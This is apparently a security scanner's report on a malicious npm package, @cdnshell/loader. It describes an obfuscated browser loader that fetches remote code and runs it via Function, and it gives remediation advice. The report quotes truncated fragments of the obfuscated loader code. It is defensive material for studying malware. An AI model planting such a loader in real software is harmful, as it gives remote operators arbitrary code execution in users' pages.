registry / Remote code execution / @cdnshell/loader
@cdnshell/loader
superseded
Static assets distribution
This report shows the evidence for @cdnshell/loader@0.0.18. 8 of 14 known versions are blocked or flagged. The newest version, 0.0.22, is flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package deliberately hides an auto-running browser loader that remotely retrieves and evaluates code. Its lack of an install hook reduces install-time scope but does not remove the concrete runtime attack surface.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading a12i5u6l.js in a browser document.
Impact
A remote operator can run arbitrary JavaScript in the hosting page's origin.
Mechanism
fetches remote module text and evaluates it with Function
Attack narrative
A browser load triggers the obfuscated bootstrap. Its module loader fetches code from a configured remote base, passes the response text to Function, and caches the result. The code also installs a periodic reload loop, enabling continued retrieval of remotely supplied behavior. No npm lifecycle hook activates this on installation, but inclusion of the shipped script exposes the page to remote code execution.
AI rationale
The package deliberately hides an auto-running browser loader that remotely retrieves and evaluates code. Its lack of an install hook reduces install-time scope but does not remove the concrete runtime attack surface.
Evidence
a12i5u6l.jspackage.json04_c2/old/legacy.dylib04_c2/new/seg0.dylib
Decision evidence
public snapshotAI called this Malicious at 94.0% confidence as Malware with low false-positive risk.
Evidence for block
- Obfuscated browser loader fetches module text and executes it with Function.
- Loader auto-bootstraps when a document exists and periodically reloads the page.
- Package also contains opaque native libraries and payload blobs.
Evidence against
- package.json defines no lifecycle scripts or Node entrypoint.
- No credential harvesting, local file access, or fixed network host was recoverable from source.
Behavioral surface
EvalNetwork
HighEntropyStringsMinifiedObfuscatedTrivial
Source & flagged code
5 flagged · loading sourcea12i5u6l.jsView file
1(function(_0x546ae1,_0x258573){const _0x3097e=_0x556b,_0x1f0d7c=_0x546ae1();while(!![]){try{const _0x574714=parseInt(_0x3097e(0xc4))/0x1+-parseInt(_0x3097e(0xde))/0x2*(-parseInt(_0...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
a12i5u6l.jsView on unpkg · L11const _0x52b6f4=_0x21b9e3=>new Function(_0x21b9e3)()
High
Ai Review Evidence
Obfuscated browser loader fetches module text and executes it with Function.
a12i5u6l.jsView on unpkg · L11_0x24824c(0xd7)!=typeof document&&_0x2399b4[_0x24824c(0xa6)](_0x1e8f7e)[_0x24824c(0xc2)](_0x543f6=>console[_0x24824c(0xae)](_0x24824c(0xb9),_0x543f6)),_0x24824c(0xd7)!=typeof document&&setInterval(()=>{
High
Ai Review Evidence
Loader auto-bootstraps when a document exists and periodically reloads the page.
a12i5u6l.jsView on unpkg · L11(function(_0x546ae1,_0x258573){const _0x3097e=_0x556b,_0x1f0d7c=_0x546ae1();while(!![]){try{const _0x574714=parseInt(_0x3097e(0xc4))/0x1+-parseInt(_0x3097e(0xde))/0x2*(-parseInt(_0...
Low
Eval
Package source references a known benign dynamic code generation pattern.
a12i5u6l.jsView on unpkg · L104_c2/old/legacy.dylibView file
•path = 04_c2/old/legacy.dylib
kind = native_binary
sizeBytes = 715760
magicHex = [redacted]
Medium
Findings
4 High3 Medium2 Low
HighObfuscated Payload Loadera12i5u6l.js
HighObfuscated
HighAi Review Evidencea12i5u6l.js
HighAi Review Evidencea12i5u6l.js
MediumNetwork
MediumShips Native Binary04_c2/old/legacy.dylib
MediumStructural Risk Force Deep Review
LowEvala12i5u6l.js
LowHigh Entropy Strings
Affected versions and remediation
This report applies to @cdnshell/loader@0.0.18.
The versions list below shows the verdict for each recorded version.
- Avoid installing @cdnshell/loader@0.0.18. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
14 known versions0.0.22latestSuspicious—WarnUnder ReviewAug 13, 2026, 10:39 PM0.0.18shownMaliciousRemote Code ExecutionBlockPublishedAug 13, 2026, 10:32 PM0.0.17SuspiciousStaged Payload CarrierWarnPublishedAug 13, 2026, 10:28 PM0.0.15MaliciousRemote Code ExecutionBlockPublishedAug 13, 2026, 10:02 PM0.0.13MaliciousMalwareBlockPublishedAug 13, 2026, 9:06 PM0.0.11MaliciousRemote Code ExecutionBlockPublishedAug 13, 2026, 8:26 PM0.0.10Clean—AllowPublishedAug 13, 2026, 8:13 PM0.0.8Clean—AllowPublishedAug 13, 2026, 7:06 PM0.0.2SuspiciousRemote Code ExecutionWarnPublishedAug 13, 2026, 6:31 PM0.0.1SuspiciousRemote Code ExecutionWarnPublishedAug 13, 2026, 6:24 PM0.0.20MaliciousMalwareBlockPublishedUnknown0.0.19MaliciousMalwareBlockPublishedUnknown0.0.16MaliciousMalwareBlockPublishedUnknown0.0.14MaliciousMalwareBlockPublishedUnknown